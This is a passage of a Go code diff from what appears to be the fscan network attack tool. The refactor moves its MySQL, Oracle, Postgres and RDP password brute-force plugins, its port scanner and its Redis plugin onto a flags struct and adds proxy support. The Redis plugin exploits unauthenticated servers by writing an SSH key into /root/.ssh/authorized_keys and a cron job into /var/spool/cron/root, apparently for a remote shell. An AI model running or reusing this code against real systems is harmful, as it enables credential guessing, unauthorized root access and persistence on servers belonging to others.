|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -36,14 +37,14 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
|
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second)
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
db, err := sql.Open("mysql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||||
db.SetMaxIdleConns(0)
|
db.SetMaxIdleConns(0)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
|
@ -3,22 +3,23 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
_ "github.com/sijms/go-ora/v2"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
_ "github.com/sijms/go-ora/v2"
|
||||||
)
|
)
|
||||||
|
|
||||||
func OracleScan(info *common.HostInfo) (tmperr error) {
|
func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["oracle"] {
|
for _, user := range common.Userdict["oracle"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := OracleConn(info, user, pass)
|
flag, err := OracleConn(info, user, pass, flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -27,7 +28,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -36,14 +37,14 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
||||||
db, err := sql.Open("oracle", dataSourceName)
|
db, err := sql.Open("oracle", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||||
db.SetMaxIdleConns(0)
|
db.SetMaxIdleConns(0)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
|
@ -2,11 +2,12 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"sort"
|
"sort"
|
||||||
"strconv"
|
"strconv"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Addr struct {
|
type Addr struct {
|
||||||
@ -14,10 +15,10 @@ type Addr struct {
|
|||||||
port int
|
port int
|
||||||
}
|
}
|
||||||
|
|
||||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
func PortScan(hostslist []string, ports string, flags common.Flags) []string {
|
||||||
var AliveAddress []string
|
var AliveAddress []string
|
||||||
probePorts := common.ParsePort(ports)
|
probePorts := common.ParsePort(ports)
|
||||||
noPorts := common.ParsePort(common.NoPorts)
|
noPorts := common.ParsePort(flags.NoPorts)
|
||||||
if len(noPorts) > 0 {
|
if len(noPorts) > 0 {
|
||||||
temp := map[int]struct{}{}
|
temp := map[int]struct{}{}
|
||||||
for _, port := range probePorts {
|
for _, port := range probePorts {
|
||||||
@ -29,18 +30,18 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var newDatas []int
|
var newDatas []int
|
||||||
for port, _ := range temp {
|
for port := range temp {
|
||||||
newDatas = append(newDatas, port)
|
newDatas = append(newDatas, port)
|
||||||
}
|
}
|
||||||
probePorts = newDatas
|
probePorts = newDatas
|
||||||
sort.Ints(probePorts)
|
sort.Ints(probePorts)
|
||||||
}
|
}
|
||||||
workers := common.Threads
|
workers := flags.Threads
|
||||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
||||||
results := make(chan string, len(hostslist)*len(probePorts))
|
results := make(chan string, len(hostslist)*len(probePorts))
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
|
|
||||||
//接收结果
|
// receive result
|
||||||
go func() {
|
go func() {
|
||||||
for found := range results {
|
for found := range results {
|
||||||
AliveAddress = append(AliveAddress, found)
|
AliveAddress = append(AliveAddress, found)
|
||||||
@ -48,32 +49,35 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
//多线程扫描
|
// multithreaded scan
|
||||||
for i := 0; i < workers; i++ {
|
for i := 0; i < workers; i++ {
|
||||||
go func() {
|
go func() {
|
||||||
for addr := range Addrs {
|
for addr := range Addrs {
|
||||||
PortConnect(addr, results, timeout, &wg)
|
PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg)
|
||||||
wg.Done()
|
wg.Done()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
//添加扫描目标
|
// add scan target
|
||||||
for _, port := range probePorts {
|
for _, port := range probePorts {
|
||||||
for _, host := range hostslist {
|
for _, host := range hostslist {
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
Addrs <- Addr{host, port}
|
Addrs <- Addr{host, port}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
|
|
||||||
close(Addrs)
|
close(Addrs)
|
||||||
close(results)
|
close(results)
|
||||||
|
|
||||||
return AliveAddress
|
return AliveAddress
|
||||||
}
|
}
|
||||||
|
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||||
host, port := addr.ip, addr.port
|
host, port := addr.ip, addr.port
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -88,9 +92,9 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) {
|
||||||
probePorts := common.ParsePort(ports)
|
probePorts := common.ParsePort(ports)
|
||||||
noPorts := common.ParsePort(common.NoPorts)
|
noPorts := common.ParsePort(flags.NoPorts)
|
||||||
if len(noPorts) > 0 {
|
if len(noPorts) > 0 {
|
||||||
temp := map[int]struct{}{}
|
temp := map[int]struct{}{}
|
||||||
for _, port := range probePorts {
|
for _, port := range probePorts {
|
||||||
@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var newDatas []int
|
var newDatas []int
|
||||||
for port, _ := range temp {
|
for port := range temp {
|
||||||
newDatas = append(newDatas, port)
|
newDatas = append(newDatas, port)
|
||||||
}
|
}
|
||||||
probePorts = newDatas
|
probePorts = newDatas
|
||||||
sort.Ints(probePorts)
|
sort.Ints(probePorts)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, port := range probePorts {
|
for _, port := range probePorts {
|
||||||
for _, host := range hostslist {
|
for _, host := range hostslist {
|
||||||
address := host + ":" + strconv.Itoa(port)
|
address := host + ":" + strconv.Itoa(port)
|
||||||
|
@ -3,22 +3,23 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/lib/pq"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
_ "github.com/lib/pq"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["postgresql"] {
|
for _, user := range common.Userdict["postgresql"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := PostgresConn(info, user, pass)
|
flag, err := PostgresConn(info, user, pass, flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -27,7 +28,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -36,13 +37,13 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||||
db, err := sql.Open("postgres", dataSourceName)
|
db, err := sql.Open("postgres", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
|
@ -3,6 +3,13 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/tomatome/grdp/core"
|
"github.com/tomatome/grdp/core"
|
||||||
"github.com/tomatome/grdp/glog"
|
"github.com/tomatome/grdp/glog"
|
||||||
@ -13,12 +20,6 @@ import (
|
|||||||
"github.com/tomatome/grdp/protocol/t125"
|
"github.com/tomatome/grdp/protocol/t125"
|
||||||
"github.com/tomatome/grdp/protocol/tpkt"
|
"github.com/tomatome/grdp/protocol/tpkt"
|
||||||
"github.com/tomatome/grdp/protocol/x224"
|
"github.com/tomatome/grdp/protocol/x224"
|
||||||
"log"
|
|
||||||
"os"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
type Brutelist struct {
|
type Brutelist struct {
|
||||||
@ -26,11 +27,13 @@ type Brutelist struct {
|
|||||||
pass string
|
pass string
|
||||||
}
|
}
|
||||||
|
|
||||||
func RdpScan(info *common.HostInfo) (tmperr error) {
|
var sock5Proxy common.Socks5 = common.Socks5{Address: ""}
|
||||||
if common.IsBrute {
|
|
||||||
|
func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
sock5Proxy = common.Socks5{Address: flags.Socks5Proxy}
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
var signal bool
|
var signal bool
|
||||||
var num = 0
|
var num = 0
|
||||||
@ -46,9 +49,9 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for i := 0; i < common.BruteThread; i++ {
|
for i := 0; i < flags.BruteThread; i++ {
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
|
go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout)
|
||||||
}
|
}
|
||||||
|
|
||||||
close(brlist)
|
close(brlist)
|
||||||
@ -107,13 +110,14 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
|
|||||||
}
|
}
|
||||||
|
|
||||||
type Client struct {
|
type Client struct {
|
||||||
Host string // ip:port
|
Host string // ip:port
|
||||||
tpkt *tpkt.TPKT
|
proxy common.Socks5
|
||||||
x224 *x224.X224
|
tpkt *tpkt.TPKT
|
||||||
mcs *t125.MCSClient
|
x224 *x224.X224
|
||||||
sec *sec.Client
|
mcs *t125.MCSClient
|
||||||
pdu *pdu.Client
|
sec *sec.Client
|
||||||
vnc *rfb.RFB
|
pdu *pdu.Client
|
||||||
|
vnc *rfb.RFB
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||||
@ -125,8 +129,12 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (g *Client) setProxy(proxy common.Socks5) {
|
||||||
|
g.proxy = proxy
|
||||||
|
}
|
||||||
|
|
||||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -187,7 +195,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
|||||||
glog.Info("on update:", rectangles)
|
glog.Info("on update:", rectangles)
|
||||||
})
|
})
|
||||||
g.pdu.On("done", func() {
|
g.pdu.On("done", func() {
|
||||||
if breakFlag == false {
|
if !breakFlag {
|
||||||
breakFlag = true
|
breakFlag = true
|
||||||
wg.Done()
|
wg.Done()
|
||||||
}
|
}
|
||||||
|
@ -3,11 +3,12 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -15,19 +16,19 @@ var (
|
|||||||
dir string
|
dir string
|
||||||
)
|
)
|
||||||
|
|
||||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
flag, err := RedisUnauth(info)
|
flag, err := RedisUnauth(info, flags)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||||
flag, err := RedisConn(info, pass)
|
flag, err := RedisConn(info, flags, pass)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||||
@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -44,10 +45,10 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -56,7 +57,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
@ -79,15 +80,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
|||||||
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
err = Expoilt(realhost, conn)
|
err = Expoilt(realhost, conn, flags.RedisShell)
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -96,7 +97,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
@ -119,23 +120,23 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
|||||||
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
err = Expoilt(realhost, conn)
|
err = Expoilt(realhost, conn, flags.RedisShell)
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func Expoilt(realhost string, conn net.Conn) error {
|
func Expoilt(realhost string, conn net.Conn, redisShell string) error {
|
||||||
flagSsh, flagCron, err := testwrite(conn)
|
flagSsh, flagCron, err := testwrite(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if flagSsh == true {
|
if flagSsh {
|
||||||
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
if common.RedisFile != "" {
|
if redisShell != "" {
|
||||||
writeok, text, err := writekey(conn, common.RedisFile)
|
writeok, text, err := writekey(conn, redisShell)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
fmt.Printf("[-] %s SSH write key errer: %s", realhost, text)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if writeok {
|
if writeok {
|
||||||
@ -147,11 +148,11 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if flagCron == true {
|
if flagCron {
|
||||||
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
if common.RedisShell != "" {
|
if redisShell != "" {
|
||||||
writeok, text, err := writecron(conn, common.RedisShell)
|
writeok, text, err := writecron(conn, redisShell)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@ -169,7 +170,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
|
|
||||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
@ -178,7 +179,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
@ -205,7 +206,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
_, err = conn.Write([]byte("save\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
@ -228,7 +229,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
|
|
||||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
@ -237,7 +238,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
@ -260,8 +261,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
